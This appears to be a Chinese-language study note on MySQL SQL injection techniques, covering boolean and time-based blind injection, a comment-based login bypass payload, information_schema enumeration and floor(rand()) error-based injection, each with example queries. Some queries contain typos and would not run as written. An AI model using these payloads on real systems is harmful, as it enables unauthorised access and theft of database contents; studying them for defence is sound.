1.
find_in_set()在盲注中的应用:
select * from users where uname=’mechnical’ and find_in_set(left(uname,1),’a,b,c’)=1;
#猜测当前用户名左数第一个字母为“a,b,c“字符串的第一个字母”a”,若猜测为真,则访问的页面正常。以此在26个字母中一一试错。
Mysql>select substring(database(),1,1)=’h’;
Substring()取字符串中任意长度字符,上例中的意思是,对当前数据库名总第一个字符开始取,取一个。
#以上是猜测,当前数据库名的第一个字母为h,如果猜对了,页面可以正常访问,若猜错了,页面无法访问。
2. 关系运算符与注入的逻辑
测试当前账户字符串长度:
Select *from users where uname=’admin’ and length (user())>3#;
#通过来回试错判断用户名的长度。若猜测正确,则网页可以正常访问。如网页出错,则继续猜测。
3.逻辑运算符与注入的逻辑
与,或,非,异或
Mysql>select *from users where uname =’huangxiefeng’ or password =’abd’;
#针对以上语句注入:’ and 1=1 #
#注入后,语句变为:
Mysql>select *from users where uname =’huangxiefeng’ and 1=1 #’ or password =’abd’;
#号将后续需要填写密码的语句注释掉了,达到了不用密码就可以访问网页的目标。
4.information_schema 库的字典信息。
Information_schema库保存了数据库相关的元数据信息,包括所有数据库,表和字段元数据信息。
Information_schema 数据库中包含很多重要的元数据字典表:
表SCHEMA保存了数据相关的定义信息
表TABLES保存了定义表属性的相关信息
表COLUMNS保存了所有数据库下的所有表的的所有字段信息。
5.获得当前数据库的所有表名:
Mysql>
select table_name from information_shema.tables where table_schema=database();
6.查寻当前数据库中’users’表中所有字段名:
Select column_name from information_shema.columns where table_name =’users’;
7.查询‘password’列中所有具体信息:
Select password from user
8.查看当前数据库
Mysql>show databases();
等同于:
Mysql>select schema_name from information_schema.schemata;
9.位置函数position()
如用户名为root@host.123.当要猜测@在用户名的哪个位置时:
Select * from users where uid=1003 and position(“@” in user())>2;
#若猜测争取则页面访问正常。
10.时间盲注逻辑
利用if(1,2,3)表达式:判断1是否为真,若为真,则执行2,否则执行3.
MySQL>
select *from users where uname =’user’ and if (left(version(),1)=5,sleep(10),1);
#判断数据库版本,若第一个字符为5.则执行睡眠10s,若不为5,则立即执行。
表现出来的效果是:若猜对了,则页面会延迟10s才会加载出来,如果猜错了,页面会立即加载出来。
MySQL>
if (substring(user(),1,1)=’a’,benchmark(100000,md5(‘b’)),1);
benchmark()是对运算执行压力测试,运算完成需要多长时间。#
若猜对了,则执行压力测试运算,如果没有猜对,则立即执行。
效果同上,会有延迟。
11.报错注入逻辑
Rand()0-1间出一个随机数
Floor()向下取整
Floor(rand()*2)。此时只会出现0或者1.
Select count(*),group_concat(floor(rand()*2),version()) as a from users group by a;
#主要是这三个函数导致的报错,就会把想要得到的信息返回来。